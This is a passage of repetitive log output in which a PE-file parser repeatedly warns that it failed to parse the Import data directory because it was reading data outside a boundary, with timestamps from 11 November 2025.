data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 